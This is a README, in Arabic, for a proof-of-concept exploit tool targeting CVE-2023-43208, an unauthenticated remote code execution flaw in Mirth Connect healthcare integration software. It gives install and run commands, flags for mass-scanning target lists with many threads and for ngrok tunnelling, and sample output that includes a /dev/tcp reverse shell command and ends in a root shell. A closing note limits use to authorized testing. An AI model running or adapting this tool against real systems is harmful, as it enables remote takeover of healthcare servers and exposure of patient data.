
استغلال PoC لثغرة CVE-2023-43208 - تنفيذ التعليمات البرمجية عن بُعد (RCE) في Mirth Connect
أداة إثبات المفهوم لثغرة CVE-2023-43208، وهي ثغرة تنفيذ أوامر عن بعد غير مصادق عليها في Mirth Connect الإصدارات التي تسبق
4.4.1.
Mirth Connect هو محرك تكامل رعاية صحية مفتوح المصدر واسع الانتشار. تستغل هذه الثغرة خلل إلغاء التسلسل في Java عبر نقطة النهاية /api/users باستخدام حمولة XML مصممة لتسلسل أدوات Apache Commons Collections لتحقيق تنفيذ أوامر عن بعد غير مصادق عليه.
الإصدار المحسن يستبدل المستمع pwncat الأصلي بقشرة PTY تفاعلية خالية تمامًا من التبعيات باستخدام مكتبات بايثون المضمنة فقط (socket, select, tty, termios). يتم ترقية القشرة تلقائيًا إلى PTY كاملة عند الاتصال.
| البرنامج | الإصدارات المعرضة | الإصدار المُصحح |
|---|---|---|
| Mirth Connect | < 4.4.1 | 4.4.1+ |
python3/python/script)stty rows/cols)pwncat — فقط مكتبات بايثون القياسية للمستمعgit clone https://github.com/yourrepo/CVE-2023-43208
cd CVE-2023-43208
pip install -r requirements.txt
requests
packaging
rich
alive-progress
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <PORT>
python3 CVE-2023-43208.py -u https://<TARGET> -lh <YOUR_IP> -lp <NGROK_PORT> -bp <LOCAL_PORT>
python3 CVE-2023-43208.py -f targets.txt -t 50 -o vulnerable.txt
[*] Setting up listener on 10.10.15.202:4444 and launching exploit...
[*] Waiting for incoming connection on port 4444...
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://10.129.5.3
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/...'
[*] Launching exploit against https://10.129.5.3...
[+] Received connection from 10.129.5.3:59640
[+] Shell opened! Upgrading to PTY...
root@mirth:/#
هذه الأداة مخصصة لاختبار الاختراق المصرح به والأغراض التعليمية فقط.
الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني.
المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
| العلم | الوصف |
|---|
-u, --url | عنوان الهدف |
-lh, --lhost | عنوان IP المستمع لديك |
-lp, --lport | منفذ الاستماع لديك |
-bp, --bindport | تجاوز منفذ الربط (مفيد مع ngrok) |
-f, --file | ملف يحتوي على قائمة عناوين الهدف |
-o, --output | حفظ الأهداف المعرضة إلى ملف |
-t, --threads | عدد الخيوط للمسح (الافتراضي: 50) |